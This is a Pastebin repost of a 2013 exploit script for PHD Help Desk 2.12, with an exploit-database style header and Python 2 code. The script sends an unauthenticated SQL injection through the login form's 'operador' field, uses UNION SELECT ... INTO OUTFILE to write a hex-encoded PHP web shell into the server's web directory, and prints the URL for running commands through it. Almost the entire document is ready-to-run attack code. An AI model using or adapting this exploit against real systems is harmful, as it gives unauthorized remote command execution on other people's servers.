Scorz-Root

PHD Help Desk 2.12 - SQL Injection

Dec 15th, 2017
1,053
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.26 KB | None | 0 0
  1. # Exploit Title: PHD Help Desk 2.12 SQLi
  2. # Date: 05/24/2013
  3. # Exploit Author: drone (@dronesec)
  4. # More information: http://forelsec.blogspot.com/2013/06/phd-help-desk-212-sqli-and-xss.html
  5. # Vendor Homepage: http://www.p-hd.com.ar/
  6. # Software Link: http://downloads.sourceforge.net/project/phd/phd_released/phd%202.12/phd_2_12.zip
  7. # Version: 2.12
  8. # Tested on: Ubuntu 12.04 (apparmor disabled)
  9.  
  10. """ This app is so full of SQLi & XSS; if you're looking for
  11. practice with real web apps, this is a good place to go.
  12.  
  13. You don't need auth for this.
  14. """
  15. from argparse import ArgumentParser
  16. import string
  17. import random
  18. import urllib, urllib2
  19. import sys
  20.  
  21. def run(options):
  22. print '[!] Dropping web shell on %s...'%(options.ip)
  23.  
  24. shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))
  25.  
  26. # <? php system($_GET["rr"]); ?>
  27. data = urllib.urlencode({'operador':('\' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b227272225d293b3f3e'
  28. ',null,null,null,null,null,null,null,null,null,null,null,null,null INTO OUTFILE'
  29. ' \'{0}/{1}.php'.format(options.path,shell)),
  30. 'contrasenia':'pass',
  31. 'submit':'Enter',
  32. 'captcha':''})
  33.  
  34. urllib2.urlopen('http://{0}{1}/login.php'.format(options.ip, options.rootp), data)
  35. print '[!] Shell dropped. http://%s%s/%s.php?rr=ls'%(options.ip,options.rootp,shell)
  36.  
  37. def parse():
  38. parser = ArgumentParser()
  39. parser.add_argument('-i',help='server address',action='store',dest='ip')
  40. parser.add_argument('-p',help='path to login.php (/phd_2_12)',action='store',
  41. default='/phd_2_12', dest='rootp')
  42. parser.add_argument('-w',help='writable web path (/var/www/phd_2_12) for shell',
  43. default='/var/www/phd_2_12/', action='store', dest='path')
  44.  
  45. options = parser.parse_args()
  46. if not options.ip:
  47. parser.print_help()
  48. sys.exit(1)
  49.  
  50. options.path = options.path if options.path[-1] != '/' else options.path[:-1]
  51. options.rootp = options.rootp if options.path[-1] != '/' else options.path[:-1]
  52. return options
  53.  
  54. if __name__=="__main__":
  55. run(parse())
Advertisement
Add Comment
Please, Sign In to add comment